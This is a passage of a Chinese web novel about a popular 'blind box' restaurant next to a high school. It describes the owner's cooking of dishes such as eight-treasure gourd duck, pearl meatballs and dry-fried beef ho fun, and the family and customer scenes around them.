箐玥客气两句，实在推不了才接过来，随即对小月道：“今天我请你们吃饭。” “行啊。”小月没跟她客气，而是道，“不知道老板今天又做了什么好吃的，太香了。” “确实，我在门口远远就闻见，都不用特意去看名字，顺着香味就能找过来。” 箐玥和小月闲聊时，又有不少跑腿小哥以及高中生家长走进店里。 “终于开店了，真是不容易。”一个跑腿小哥感叹完，又有家长牵着孩子进来。 幼儿园要到元宵节后才开学，小朋友们倒是有口福，还能跟着家里人来店内吃几天饭。 “妈妈，真香呀！” 美食确实能令人心情愉悦，这还没吃上饭，光是闻到香味，进店的人不论男女老少，脸上都不自觉露出笑容。尤其是小朋友，那叫一个开心，有些甚至直接拍手鼓掌起来。 “哎，不可以，你要是捣蛋的话，老板可不让你过来吃饭了。” 可能是从厨房飘出来的香味太浓郁，有个小朋友忍不住想往厨房里跑，被孩子妈妈一把抓住。 听到不让吃饭，原本还有点坐不住的小朋友瞬间就乖巧起来，老老实实坐好不说，还把小手放腿上，一副面对老师时的乖巧模样：“我不捣蛋，要吃饭。” “这才乖。” 随着时间的流逝，店里店外都漂浮着诱人的饭菜香，同时过来吃饭的人越来越多，很快队伍就排到店门口。 “好久没吃他家饭，可把我馋坏了。” “我也是，你敢信过个年我非但没胖，还瘦了三斤。” 听到这个话题，小月特别有共鸣感，跟好朋友道：“我过年也瘦了……” “有没有一种可能，你过年会瘦，是因为过年之前吃太好，长胖了好多。”箐玥想到辞职回来后和她见面的场景，她当时何止气色红润，整个人脸都圆了一圈。 “我妈说了，有点肉才健康，我今天可得多吃点，把肉补回来。” 箐玥打趣归打趣，听到她这话还是挺赞同：“阿姨说得对，健康才是最重要要的，之前我公司有个同事就是减肥把身体都减出毛病了。” 她们闲聊时，学校内放学铃声响起，听到这个熟悉的声音箐玥感觉还挺怀念。 厨房里，由于那道八宝葫芦鸭做起来有些费时间，放学铃声响后又过了一会，楚易文才开始往外端菜。 “哇~” 今天排在最前面的是一家三口，其中那个小姑娘看到八宝葫芦鸭时，不由张开嘴巴发出惊叹声。 鸭子外形如葫芦一般，表皮经过油炸呈现漂亮的金红色，看起来通透油亮。 孩子爸爸望着卖相诱人的八宝葫芦鸭，在色与香的双重诱惑中，咽了下口水才开口：“老板，鸭子是整只卖吗？” “八宝葫芦鸭没做好多，为了让大家都尝尝，没办法整只卖。” 楚易文说完麻利地将八宝葫芦鸭切开，内馅晶莹的糯米、褐色的香菇、红色的火腿、黄色的栗子等食材全部露出来，看起来令人垂涎欲滴。 “好香啊！爸爸我要吃这个！” 由于孩子爱吃鸭腿，最终一家三口选择带鸭腿的那部分八宝葫芦鸭，买好饭立刻回位置上坐下。 八宝葫芦鸭切开后，鸭肉的脂香和馅料组成的复合香气融合在一起，简直能瞬间勾起大家肚子里的馋虫。 “不行了，馋得我肚子都有点不舒服，好想赶紧吃饭。” “太香了，香得我肚子咕咕叫起来。” 好久没来盲盒餐厅吃饭，此时扑鼻而来的香味，让顾客们简直有点扛不住。 今天不光有八宝葫芦鸭，还有锅包肉、红烧鱼块、什锦蔬菜丁、芋头烧排骨、莲藕肉丸汤，每道菜的卖相和香味都是极致的诱惑，让还在排队的人简直恨不得立刻就轮到自己。 “好好吃呀！” 前面的顾客已经吃上饭，八宝葫芦鸭的美味令小朋友吃得脸颊都鼓起来。 鸭肉酥烂入味，咸鲜中带着微甜酱香，同时由于吸收内馅的气息，咀嚼到后面时还带着糯米的清香，以及香菇、栗子等食材的气息。 里面的馅料则更加美味，食材丰富的八宝糯米饭吸收鸭肉的油脂，吃起来软糯咸鲜，每一口都给人带来极致的味觉盛宴。 “好吃死了！” 终于买到饭时，小月迫不及待先尝了口八宝葫芦鸭，鸭肉的美味和内馅的丰富口感，好吃到让她不自觉闭上眼睛，完全沉浸在美味中。 糯米的软糯加上香菇的软韧、冬笋的脆嫩、板栗的粉糯、火腿的咸鲜、虾仁的弹牙、莲子的清香、干贝的鲜香，每一口都是极致的享受。食材与食材的随机组合，让八宝糯米饭吃起来每口都是不同的味道，鸭肉的精华融入糯米中，吃起来油润却不腻，令人回味无穷。 鸭子表皮微脆，鸭肉细嫩不柴，而且完全吃不出腥味，可以说不论是味道还是口感都无可挑剔。 “太好吃了，感觉比那些大酒店里的菜还要好吃！”箐玥吃完八宝葫芦鸭，不由发出感叹。 小月咽下嘴里的菜，眼睛亮晶晶地道：“我没骗你吧，他家真是我吃过最好吃的菜，感觉老板做菜特别用心，所以才会每道菜都那么令人惊艳。” 八宝葫芦鸭好吃，但内馅是糯米做的，不是很好消化，老人和小孩都不适合多吃。 老人还好，有自制力，小朋友就不行，遇到喜欢吃的东西恨不得吃到撑。 “来，妈妈帮你盛。” 好在今天有什锦蔬菜丁，用玉米、胡萝卜、杏鲍菇、青豆等食材做出来的蔬菜丁颜色明艳诱人，家长用这道菜和米饭搅拌一下，再加点鸭肉上去，倒是能忽悠过去。 当然，也有孩子不太好骗，这种家长就只能自己吃快点，赶紧把糯米饭吃完。 “爸爸，你吃那么多！” “你不爱爸爸了？爸爸多吃两口饭也要说。” “爸爸你嘴巴真大！” 孩子爸爸有些无语，随即夹起块锅包肉一口吃掉，并吓唬：“说我嘴巴大？信不信我把菜全部吃掉。” 孩子看到他能一口吃掉那么大的锅包肉，顿时顾不上再纠结糯米饭被吃完的事，赶紧往碗里夹菜。 酸甜口的锅包肉还挺受小朋友喜欢，尤其是外面那层酥脆的外壳，配上糖醋汁吃起来又香又开胃。 “爸爸逗你的，慢点吃，别噎着了。”孩子妈妈看到女儿大口啃锅包肉的模样，赶紧哄着。 好多顾客都已经吃上时，旁边还在排队，有关注楚易文账号的老顾客看到今天有八宝葫芦鸭，语气透着兴奋：“老板你竟然真的做八宝葫芦鸭了！你也太好了！” “真的是八宝葫芦鸭哎！看视频时就把我给馋坏了，老板你怎么不多做点，我想买一整只回去。” “前面的你们别太过份，给我们留点。” 后面的顾客听见有人想买整只鸭，生怕自己买不着，赶紧开口发出抗议声。 由于今天不少老顾客还没反应过来盲盒餐厅已经开始营业，不少家里人没空的高中生放学后纷纷加入排队中，想要碰碰运气。 “希望能有饭吃！” “要是能在开学第一天在这吃到饭，都不敢想我将会是多么开朗……” 排队的学生们暗暗期待时，队伍在逐步往前移动。 八宝葫芦鸭最先卖完，别说学生们，就是排在他们前面的不少其他顾客都没吃上。不过还好其他菜倒是有剩，最后排队的学生们运气好地吃到两个菜，运气不好的也有一个菜吃。 “好香啊！不光鱼块好吃，鱼汤拌饭更是美味！” 有学生买到红烧鱼块，那鲜嫩入味的滋味，好吃到脸上露出满足的表情，哪怕店里已经没位置坐，站着吃都很开心。 有学生只买到什锦蔬菜丁，过年在家大鱼大肉吃多了，此时吃点咸香爽口的蔬菜丁，感觉还挺不错。 “连素菜都炒得这么香，真是太厉害了！” 清甜的玉米粒、爽脆的胡萝卜、软中带韧的杏鲍菇……由各种素菜组成的什锦蔬菜丁好看又好吃，和米饭拌在一起，几个学生捧着碗吃得那叫一个香。 厨房旁边的桌上，大概只有楚瑾钰这个天天吃香的喝辣的，把嘴都吃叼的家伙会挑剔他爸的手艺。 “我爸今天怎么在菜里放青豆了，这玩意一点都不好吃。” 胡一齐边夹两颗青豆丢进嘴里边说：“哪有，楚爸炒得挺好吃的，你都没尝尝就嫌不好吃。” “反正我不爱吃。”楚瑾钰用勺子小心地避开青豆，只挑玉米、胡萝卜、杏鲍菇吃。 楚易文不知道是不是听见声音，转头看过来：“瑾钰，我给你留了没有青豆的。” 楚瑾钰闻言立刻起身去厨房，发现还真有一碗没放青豆的什锦蔬菜丁，立刻高兴地端出来：“我就说嘛，我爸明知道我不爱吃青豆。” “真服了你，那么大的人了还挑食。”胡一齐吐槽的同时，语气里还带着几分酸，显然是羡慕他有个这么好的爸爸。 第92章 珍珠丸子 “我乐意~” 楚瑾钰吃着没有青豆版本的什锦蔬菜丁, 心情愉悦，越吃越觉得香。 看到他那副模样，别说胡一齐, 叶其林和商时贸都有点酸，觉得同样是当儿子的，他凭什么那么幸福，于是纷纷伸出勺子去抢。 “桌上不是还有那么多！”楚瑾钰想要阻止他们，然而双拳难敌六手，最终只能握着勺子大口往嘴里塞。 还别说，抢到的食物就是香, 原本商时贸是不讨厌青豆的，但此时吃着嘴里清爽脆嫩的蔬菜，莫名感觉没有青豆的确实要更好吃些。 他们抢得在桌上捡掉落的玉米粒时, 邵言易脸上似乎露出点笑意，不紧不慢地握着勺子去吃桌上带青豆版本什锦蔬菜丁。 油润饱满的青豆挺有嚼劲，咀嚼间满口都是清爽的豆香, 配上玉米、胡萝卜、杏鲍菇，吃起来特别美味。 直到那碗无青豆版什锦蔬菜丁吃完, 桌上终于消停下来，胡一齐三人带着满足的表情继续去吃其他菜。 哪怕之前在楚家拜年时已经吃过锅包肉和八宝葫芦鸭，此时再吃依旧觉得很美味，叶其林尤其爱吃锅包肉, 感觉那股酸香和外壳的酥脆简直是绝配。 开学第一天，其实他们都还有点没从愉快的寒假中走出来，上午上课时都有点小烦躁，此时在享受着美食，心情倒是好很多, 哪怕想到下午还要继续上学都没那么烦。 等到楚易文卖完饭过来时，几个孩子已经吃完，楚瑾钰边拿纸巾擦嘴边忍不住告状：“爸，他们刚刚都抢你给我留的什锦蔬菜丁！” “你们也都不爱吃青豆吗？那下次我不放了。”楚易文记得他们之前都是吃的，想着要是都不爱吃，那干脆不放好了。 他倒没觉得不爱吃青豆是什么大事，毕竟青豆里有的营养成分其他蔬菜里同样有。当然，主要是他自己同样有不爱吃的东西，推己及人，他觉得这很正常。 “没有，我吃青豆，只是跟他闹着玩。”胡一齐说。 “我也吃，我们中只有楚瑾钰不吃。” 隔壁桌上，有个学生听到他们对话，忍不住开口：“叔叔你真好，不像我家里人，我不爱吃芹菜就非要逼我吃，好像不吃芹菜罪大恶极一样！” “只要饮食均衡，偶尔有几样不爱吃的东西很正常，瑾钰他毛豆、蚕豆、豆角之类的都吃，只是单纯不喜欢青豆而已，不算什么大事。”楚易文反而不太理解为什么有家长非要强求孩子什么都吃，毕竟他不信那些家长就完全不挑食。 他话落，旁边有位家长笑着道：“主要还是你手艺好，做什么都好吃，我家女儿在家挑食得很，来你这吃饭就不同了，什么都爱吃。” “我家孩子也是，在家只吃肉不爱吃蔬菜，今天这什锦蔬菜丁却是吃得挺香。” “老板，这莲藕肉丸是你自己做的吗？”家长们吐槽自家孩子时，旁边有位顾客端着汤边吃里面丸子边问。 莲藕肉丸煮之前先炸过，表面带着股焦韧感，内里软嫩鲜美，莲藕的爽脆和肉鲜味融合，好吃又不腻，简直是人间美味。 “对。” 得到楚易文肯定的回答，顾客夸赞完莲藕肉丸的美味就说出自己的目的，表示想买点回去当宵夜吃。 “煮面时放点这个丸子进入，肯定好吃。” “老板我也想买！”刚刚说话的那几个家长立刻道。 楚易文：“不好意思，已经没有了，做好的丸子今天全部煮了。” 他做的莲藕肉丸可不少，就这今天汤还是不够卖，哪有多余的丸子给顾客。 顾客们闻着有点失望，吃完饭后陆续离开，哪怕肚子现在很饱，心里已经在期待晚餐。 盲盒餐厅重新开业后没两天，店里立刻就恢复过年前的热闹，第一天没能过来吃饭的老顾客纷纷抱怨，说楚易文开业了也不通知一下。 外来顾客多了以后，学校内学生如果想等放学自己来排队吃饭，已经成为奢望。 高一、高二学生还好，尤其是高一，才在学校读半学期，对食堂和周边店铺的厌倦还没那么深。 高三学生就难了，食堂不爱吃，外卖不想吃，盲盒餐厅爱吃、想吃却吃不着，加上这学期越来越大的压力感，一些心态不好的学生肉眼可见地消瘦下来。 吴家。 晚上吴煦琳下晚自习回家，吴母看到女儿有气无力的模样，立刻上前搂着她关心道：“琳琳怎么了？是最近学习压力太大了吗？” “没事。”吴煦琳话落，肚子立刻咕咕叫起来。 听到女儿肚子饿了，吴母立刻就要去给她做宵夜，却被她阻止：“不用了妈，我吃不下。” 吴母丈夫走得早，她独自养育女儿，没办法像其他家长一样去学校送饭，看到女儿明明饿了却不想吃，从包里掏出现金道：“在学校想吃什么就买，钱不够了就跟妈妈说。” “妈……”吴煦琳其实手里钱还没花完，只是学习的压力影响她食欲，让她总是看什么都没胃口，倒是盲盒餐厅她挺想吃，但根本吃不到。 犹豫两秒，在妈妈温柔中透着关心的眼神下，她还是忍不住说出来，倒不是要妈妈不上班去帮自己买饭，而是想说可不可以偶尔花钱请跑腿小哥帮忙买饭。 不过没等她提出跑腿小哥这个办法，吴母在听到她说学校边她想吃的店根本买不着，要提前去排队时，立刻想到自家侄子。 “我明天去你大伯家找你堂哥帮忙，他应该有空。” “这样不好吧……” “你堂哥天天不出门，待在家里吃外卖对身体也不好，要是能让他出来走动走动，你大伯他们还得谢谢我。” “我是觉得堂哥不愿意。” 吴煦琳不是很想麻烦堂哥，倒不是说她和堂哥关系不好，相反，从小到大她还挺爱跟在堂哥屁股后面当小尾巴，正是因为和堂哥关系不错，她认为得尊重每个人的习惯，她不觉得堂哥爱宅在家里有什么问题。 次日傍晚，吴母还真抽空去了趟侄子家。 吴煦旭：“不能直接点外卖吗？” 他自己由于熬夜赶不上家里饭点，基本上是靠外卖为生，听到叔母让他帮堂妹买饭，感觉莫名其妙。 这年头是吃外卖不香吗？他有些无语，怀疑是不是他爸妈嫌他不出门，故意和叔母商量后整出来的幺蛾子。 “那家店没有外卖，而且生意特别好，琳琳说每次放学想去吃，根本吃不着，她最近学习压力大，整个人都瘦了好多，我实在担心……” 吴煦旭看到叔母担忧的表情不像是作假，加上他自己也经历过高三，知道高考前那几个月是怎么样的魔鬼日子，最终还是答应下来。 他是独生子，同辈里就一个堂妹比他小，他还是挺喜欢这个妹妹，从小就带着她玩，在这种关键时刻，能帮还是愿意帮一把。 考虑到明天十点前要出门，他当天晚上难得早睡，在凌晨一点前就躺在床上。是的，作为一个经常打游戏到凌晨两三点，或者直接通宵的游戏代练，一点对于他来说已经算是早睡。 次日，盲盒餐厅。 明亮整洁的厨房中，灶台上炖汤的砂锅正在不停冒着热气，白色的蒸汽带着肉汤的鲜香，闻起来很是诱人，旁边那口大锅里则是炖着板栗烧鸡。 楚易文穿着白色围裙，脸上戴着厨房专用透明口罩，正站在案板前，神态专注地剁着肉馅。肥瘦相间的猪腿肉已经被他剁成均匀的石榴粒大小，泛着粉色光泽，一看就是特别新鲜的食材。 他将切好的肉利落地丢入不锈钢盆中，又麻利地将削好皮的马蹄切碎加入肉馅中，接着加入白胡椒粉、盐、生抽等调料。和刚开始学厨艺时的小心翼翼比起来，他现在对调料的把握特别精准，光凭手感和经验就能调出最完美的比例。 调味完成，他一手端起提前准备好的葱姜水分次倒入，一手顺时针搅拌盆中肉馅，让葱姜水完美被肉馅吸收。伴随摔回盆中的肉馅发出“啪嗒”声，肉馅已经被他打搅上劲，这样待会做好吃起来才会带着弹牙感。 楚易文现在要做的这道菜时珍珠丸子，哪怕早就熟练掌握过程，他态度依旧十分专注，肉馅完全处理好开始搓丸子时，先将手洗干净，再往手心抹薄薄一层清水，随即熟练地从不锈钢盆里捞出团肉在双手间来回拍打、搓动，很快形成一个圆润饱满的肉丸。 他旁边摆着一个不锈钢长盘，里面是提前浸泡好的糯米，肉丸搓好在糯米里轻轻一滚，原本带着点粉意的丸子立刻变成“雪球”，白色的糯米裹在上面，像是给它披了件绒雪外衣，看起来很是讨喜。 等到一个个丸子全部变成“雪球”摆进蒸笼里时，像是珍珠一样圆润雪白，怪不得会叫珍珠丸子。 随着珍珠丸子开始蒸，没多久那股带着糯米特有清香的肉香味缓缓从厨房飘出去，香味不霸道，但却格外诱人。 吴煦旭来到学校门口时就闻见这股香味，本来就没吃早餐的他肚子瞬间咕咕叫起来。 “原来这就是盲盒餐厅，还挺香。”他顺着香味往前走，发现这家店就是堂妹让自己买饭的地方，不由观察起来。 店铺不算特别大，但里面卫生倒是挺不错，桌面干净整洁，看不到污渍与油光。现在才十点多，桌子已经被人占满，想找个位置坐都难，由此可见，让他过来帮忙买饭似乎并不是忽悠他出门的借口。 发现自己心里的怀疑纯粹是想太多，吴煦旭对这家店好奇起来，竖起耳朵听其他人聊天。 “我好像闻见糯米香味了，难道今天又有八宝葫芦鸭吃？老板做的八宝葫芦鸭太香了，上次我都没吃够。” “感觉不像是八宝葫芦鸭的香味……” “不知道今天又有什么好吃的，真期待啊！” 从店里人的谈话中，吴煦旭发现店里好像都是老顾客，而且还听到有几个人是九点就过来，忍不住暗暗咋舌，觉得他们为了吃个饭来那么早，简直太夸张了。 不过还真别说，这家菜闻起来是真香，就是不知道吃起来怎么样…… 吴煦旭心里想着，在扑鼻而来的浓郁香味诱惑下，他越来越期待。 学校内。 吴煦琳昨晚下自习回家就知道，堂哥同意帮她买饭这个好消息，在最后一节课开始时心就已经飞出去，想知道她哥现在来没来，能不能买到饭。 临近放学，盼着吃饭的学生可不止她一个，除开那些学习态度特别专注认真的学生外，其他人都已经开始思考中午吃什么。 学生们还被困在教室里时，没有课的老师们已经先走一步，来到盲盒餐厅等吃饭。 学校食堂何止学生们吃腻，老师们吃了那么多年，更是早就腻歪得不行，自从盲盒餐厅开业后，只要有空他们就会尽量过来吃饭。 今天楚易文倒是挺准时，学校放学铃声刚响他就开始往外端菜，首先就是珍珠丸子。 被高温与水气蒸熟的珍珠丸子整体味道很是清爽，糯米谷物的甜香混着肉馅的脂香以及淡淡马蹄清香，令人食欲大开。 刚出锅的珍珠丸子还冒着热气，水雾升腾间，一个个圆润蓬松的“珍珠”躺在盆里，卖相十足。 其他菜先不说，光是这道珍珠丸子就令排在最前面的顾客开始咽口水，恨不得直接抓个丸子塞进嘴里。 “老板我要一份珍珠丸子，一份板栗烧鸡，一份汤。” “好漂亮的珍珠丸子！圆润饱满，简直像是艺术品！” 珍珠丸子不论大小还是色泽都差不多，配上那圆润饱满的外形与诱人香味，简直令人惊叹。 第一位顾客刚买好饭，还没走到座位边就已经忍不住诱惑直接低头，一口咬在雪白的丸子上。丸子咬开露出里面粉嫩透红，夹杂马蹄的肉馅，吃起来软糯弹牙，鲜嫩多汁。 肥肉部分的油脂被高温完全蒸出来，一部分被水蒸气带走，一部分被糯米吸收，吃起来脂香浓郁却不腻，尤其是马蹄恰到好处的爽脆感，简直是点睛之笔。 刚蒸出来的丸子里面很烫，但顾客却是完全不管，吃得眼睛都眯起来：“太好吃了……” 珍珠丸子咸鲜浓郁，油润却不腻，不论是外面那层糯米还是里面的肉馅都香得不得了，只要吃过就立刻会爱上它。 “这珍珠丸子到底是怎么做的，怎么会这么好吃？” 由石榴粒大小的肉末组成的肉馅鲜嫩多汁中带着点嚼劲，配上软糯黏滑的糯米，谷物的清香和肉鲜味融合，好吃到让人感觉幸福。 “爷爷，这个珍珠丸子真是太美味了！”小月望着筷子上吃到一半的丸子，由于实在太美味，她甚至都有点舍不得那么快吃完。 黄老爷子点头：“确实好吃，比我以前吃过的珍珠丸子都要香。” 今天中午除了珍珠丸子，还有萝卜焖牛腩，鲜嫩入味的牛腩吃进嘴里带着微微弹牙，这口感美味的同时也证明食材很新鲜。 萝卜焖牛腩里不光牛肉好吃，吸收汤汁精华和肉香的萝卜更是软嫩入味，每一口都是享受。 前面的顾客已经坐在位置上来吃时，还在排队的人简直要被馋死。本来随着楚易文将饭菜端出来，整个店里就被更加浓郁的香味填满，呼吸间都能感受到极致的嗅觉诱惑，再看到其他人吃，简直是种折磨。 吴煦旭站在队伍中，此时已经完全理解堂妹为啥不吃外卖，非要吃这家店的饭，毕竟外卖哪有这家店的菜香。 饿死人了，前面怎么还不快点！ 他忍不住在心里抱怨，等终于轮到他时，他望着面前色香味俱全的每道菜，直接全点了一遍。 吴煦旭运气不错，刚买好饭第一批顾客就吃完空出张桌子，与此同时他正好看到堂妹快步踏入店中的身影。 “吴煦琳。” 他话落，吴煦琳立刻顺着声音跑过来，语气透着高兴地喊道：“哥！” “赶紧吃饭。” 吴煦旭早就被馋得不行，说话的同时已经握起筷子夹了个珍珠丸子送到嘴边。 尝到丸子软糯咸鲜，鲜嫩多汁的滋味时，他心里瞬间冒出“真香”两个字，感觉和自己平常吃的外卖比起来，这口丸子简直是人间美味！ “好好吃啊！” 平常一到饭点就不知道吃什么，看啥好吃的都没胃口的吴煦琳也吃起珍珠丸子来，那脂香浓郁却不油腻，软糯中带着弹牙的滋味，让她瞬间就胃口大开，感觉自己现在能吃得下一头牛。 一份丸子有三个，早餐都没吃的吴煦旭吃开胃后压根想不起来“谦让”两个字怎么写，直接把第二个丸子塞自己嘴里。 糯米那谷物特有的饱腹感和肉馅的鲜嫩美味，吃得他很是满足，只感觉从来没吃过如此美味的丸子。 “哥……”吴煦琳见她哥竟然一口吃掉整个丸子，没吃够的她语气透着点小幽怨，感觉他哥变了，明明以前有好吃的都会分她一半。 “我下次多买点。”吴煦旭看到妹妹的表情，只后悔刚刚没多买一份，随即指着旁边的萝卜焖牛腩道，“你吃牛肉，这牛肉看着就香。” 他说完夹起块牛腩送进嘴里，那酥烂而不柴，鲜嫩入味的滋味，简直不要太好吃。 看到他端起碗开始哐哐吃萝卜焖牛腩，吴煦琳赶紧往自己碗里夹了不少。 菜本来就是抢着吃更香，何况桌上每道菜都那么好吃，兄妹二人很快就吃得头也不抬，桌上只有咀嚼声和筷子碰撞声。 两个人吃五菜一汤绝对很多，但他们胃口是真好，桌上菜消失速度是真快。 吴煦琳空有吃一头牛的心，但根本没有那么大的胃，吃到八分饱后进食速度立刻慢下来：“这个虎皮青椒也好好吃啊！” 肉质略厚的青椒用小火煎出漂亮的虎皮纹，配上豆豉和其他调料一炒，调料的咸鲜和食材本身的辣味组成香辣咸鲜的滋味，越吃越过瘾。 吴煦旭：“你不是不爱吃豆豉？” 他从小看着妹妹长大，对于她爱吃什么不爱吃什么还是清楚的，如果不是虎皮青椒卖相太诱人，加上他自己还挺喜欢吃青椒，可能就不会买这道菜。 “这个豆豉没有那股讨厌的味道，吃起来还挺香。”吴煦琳说完又咬了口虎皮青椒，就着那口辣椒连吃两口米饭。 等把碗里饭吃完，再喝完汤，她已经撑得有点想打嗝。 “别看了，再看你也吃不下。”察觉她那副“被撑到但还想吃”的表情，吴煦旭将剩下的菜全部拉到自己面前。 “哥，你晚上还来不？” 吴煦琳感觉午餐吃得实在太满足，美食带来的幸福感让她心里冒着愉快的泡泡，什么高考压力都被暂时抛到脑后。 “来，这么好吃的饭，不来是傻子。”吴煦旭边说边往嘴里塞了口虎皮辣椒，感觉他家连素菜都做得格外美味。 吴煦琳闻言露出开心的笑容，随即从口袋里掏出自己剩下的伙食费递过去：“哥给你。” “不用，你妈昨天给我钱了，就算没给，你哥我请你吃饭也是请得起的。” 虎皮青椒特别下饭，吴煦旭越吃越喜欢，不由道：“妹啊，你学校有这么好吃的店，早怎么不说，早说我早来了。” 他毕业后就窝在家里靠打游戏赚钱，周边的外卖都有点吃腻，只后悔现在才知道还有这么好吃的店。 “我以为你不会为了吃出门。”吴煦琳哪知道他竟然是愿意的，不然早喊他了。 吴煦旭：“普通的美食确实不配我出门去吃，但这种人间美味，我还是可以的，感觉他家不光菜好吃，连米饭都特别香，压根不是那些外卖能比的。” 趁着她哥吃到美食心情正好，吴煦琳将之前不敢问的事问一下，得知他哥不是窝在家里混日子，而是靠打游戏赚钱，她立刻就放下心来：“哥你真厉害！” 第93章 干炒牛河 比起和长辈之间的交流, 还是同辈更容易互相理解一些，接下来的日子，吴煦旭每天准时准点到盲盒餐厅来买饭, 不过却甘之如饴。 兄妹俩吃着美食，饭后再聊聊天，你能体会到我的高考压力，我能理解在家靠打游戏赚钱不想出门上班，可以说双方心情都很好。 吴煦旭父母确实不理解他窝在家里打游戏，哪怕知道能赚钱也认为不如出去找个正经工作。但看到他从天天窝在家不愿意出门，到现在准时准点出去吃饭, 他们倒是挺高兴。 这天吴煦旭又要出门时，吴母开口道：“你身上钱还够用不？我给你拿点，琳琳读书费脑子, 得买点好菜给她吃。” “你别操心了，够用。”吴煦旭说完见她今天好像不用去上班，开口邀请道, “妈，要不你和我一起出去吃, 那家店特别好吃。” “我就不去了，我在家吃。” 吴煦旭叫了两次见她都说不去，便自己出门，一路上心里都很是期待, 不知道今天会是吃什么。 第一天去吃饭时他还有点奇怪为什么店名叫“盲盒餐厅”，现在已经完全理解，每天吃饭确实有开盲盒的感觉，你根本不知道是吃什么。 之前他还觉得其他顾客去得早，现在他也是越去越早, 今天十点不到人已经到店。 “来了，这里有位置。” 吴煦旭刚进店就有人抬手和他打招呼，他立刻笑着道：“你竟然比我还早。” 两人是在店里认识的，等吃饭过程中一起打游戏，闲聊中发现他们都是毕业后靠互联网生活，于是很快就成为朋友。 厨房里楚易文应该是已经把汤炖上，店中已经能闻见一股煲汤特有的鲜味，闻起来很香。 吴煦旭嗅着那股香气，食欲已经开始上升，边和新认识的朋友一起打游戏边和他闲聊。 现在幼儿园、小学也都已经开学，店里除了他们这类年轻人外就是老人，再不然就是带着三岁以下孩子过来等饭吃的家长。 带孩子是个辛苦活，边带孩子边做饭，那更是要命。元元妈妈结婚前不会做饭，结婚后为了孩子倒是有努力学，但做出来的饭健康是健康，但实在难吃，就在她带孩子带到快抑郁时，发现了盲盒餐厅，现在天天准时过来吃饭。 “世界上就应该多一点这种又干净又好吃的店，自从不用做饭，我心情都变好很多。”元元妈妈对同桌的另外一位宝妈感叹道。 “是啊，主要孩子也喜欢吃，都不用追在屁股后面喂，能省不少事。”丹丹妈妈说完又叹气，“就是我老公最近有意见，说我天天在外面吃饭浪费钱……” “真是搞笑，说得和在家里做饭就不用花钱一样，食材难道是从天上掉下来的吗？”元元妈妈自己在家做过饭，她感觉如果想给孩子吃得又健康又营养，那买菜钱其实也不少。 丹丹妈妈：“你老公没说你吗？” “没，甚至在我有一次带回去的剩饭被他吃了以后，他现在天天喊我给他带饭。”元元妈妈说完不由道，“不行你给你老公打包一份饭回去，我就不信他不爱吃，只要他自己也吃了，看还有什么话好说。” “中午他不回家，那我等晚上试试。” 店里顾客们聊得正热闹时，厨房里，楚易文正握着刀在切肉，只见刀刃逆着肉纹轻划，刀光闪烁间，一片片薄如蝉翼的肉片摊开在案板上。 肉切完，他腌肉的动作更是如行云流水一般，自制的葱姜酒完全揉进肉片中，去腥的同时还能让肉更加嫩，等葱姜酒完全揉进去，最后淋上点油来封住肉鲜味。 肉处理好他将腌肉的盆推到一边，随即洗手、换刀、换案板，动作麻利而有条理，很快又切出来一盆韭黄，一盆洋葱。 配菜全部准备好，楚易文伸手将火打开，火焰升腾间，他将油下锅，开始滑炒牛肉。腌制好的牛肉和油碰到一起时发出“滋啦”的声音，随着他手腕翻转，锅铲滑动间，肉片很快变色。 粉红滑嫩的牛肉看起来很是漂亮，在它边缘开始变焦时，楚易文立刻将肉盛出来，锅中留底油开始爆香葱和洋葱，随着浓郁的辛香飘出来，他又把豆芽、韭黄倒进去，一手握着锅铲，一手掌着锅，一个漂亮的颠锅，食材在半空中划出一道完美的弧线。 颠锅并不是为了炫技，而是让食材均匀受热，随着他连续几个颠锅，葱香与豆芽的清香被油和高温完全激发出来，而此时，真正的主角终于上场。 随着河粉如瀑布一般落入锅中，楚易文左手掌锅，右手握锅铲，将锅往后拉的同时锅铲将河粉往前推去，如此前推、上挑，动作大开大合，河粉的香味很快被炒出来。 好炒牛河这道美食，必须要用大火才能炒出锅气，而大火翻炒下想要保证食材不糊，就很考验厨师的力气和技巧。 只见锅铲在楚易文手中都快化作残影，不断将锅里食材抄底、抛起、抖散，随着两勺熟油沿着锅边淋入，高温产生的白烟裹着河粉的米香和一股焦香飘出来，锅气十足。 他手中动作不停，看好时机后将提前准备的碗汁淋入锅中，伴随“嗤啦”的响声，热气伴随一股酱香升腾而起，在翻炒中河粉很快吸收所有料汁。 浓郁的锅气香从厨房飘出去时，坐在店内的顾客说话声音都瞬间变小，不自觉抬头去追寻这股诱人香味。 所谓锅气香，是高温快炒才能形成的复合焦香，火太小绝对炒不出这股味，火够大但技术不行，就会变成糊味。 “好香！”小月发自内心感叹，想到上班后不一定能有空过来吃饭，她都不想急着去找工作了。 年后和她一起组队找工作的箐玥听到她这个想到，不由道：“要不我们也试试拍视频？这样就有空天天过来吃饭。” “有道理！与其给人打工，不如自己创业，而且拍视频还不需要金钱方面的成本。” 两人一拍即合，立刻决定就从今天的午餐开始拍起。 她们已经掏出手机拍素材时，旁边有小朋友已经坐不住：“妈妈，窝要吃饭饭！” “好好好，马上马上。”妈妈开口敷衍着，其实自己肚子也已经被馋得咕咕叫。 店内顾客被馋得不行时，厨房里楚易文是一刻没闲着，不停炒啊炒，炒啊炒，炒出一盆又一盆色香味俱全的干炒牛河。 香味在厨房里堆叠，飘出来时着实馋人，河粉的米香、焦香、豆芽等素菜的清香、牛肉的鲜香、调料的酱香，极致的味觉享受大人们还能勉强靠不停咽口水忍住，小孩子们却不知道忍不了，口水直接打湿衣服。 “你怎么这么馋？小馋猫。”元元妈妈望着自家九月份就能上幼儿园的崽，赶紧拿纸巾给他擦嘴。 “我带了口水巾。”丹丹妈妈见她儿子胸片那片都湿了，将一块口水巾递过去。 店里此时已经开始排队，在香味诱惑下，大家都有点急，以至于有人开始推挤起来。 “别挤，没看到有那么多老人在吗？”小月感受到从后面传来的推力，担心自家爷爷会被推倒，赶紧扯着嗓子喊。 听到“老人”两个字，后面的人瞬间清醒过来，纷纷退后半步，和前面顾客保持距离。 随着学校里放学铃声响起，顾客心里都浮现“来了”两个字，与此同时，楚易文开始往外端今天的午餐，干炒牛河和冬瓜薏仁老鸭汤。 河粉被炒成漂亮的焦糖酱色，配上深褐色牛肉、洁白如玉的豆芽、翠绿的葱段以及韭黄和洋葱，看起来油亮润泽，卖相十足。 “原来是炒河粉，怪不得那么香！” “看起来好好吃的样子！” 发现午餐是干炒牛肉时，爱吃河粉的顾客很是高兴，但也有个别顾客忍不住道：“中午没有米饭吃吗？” 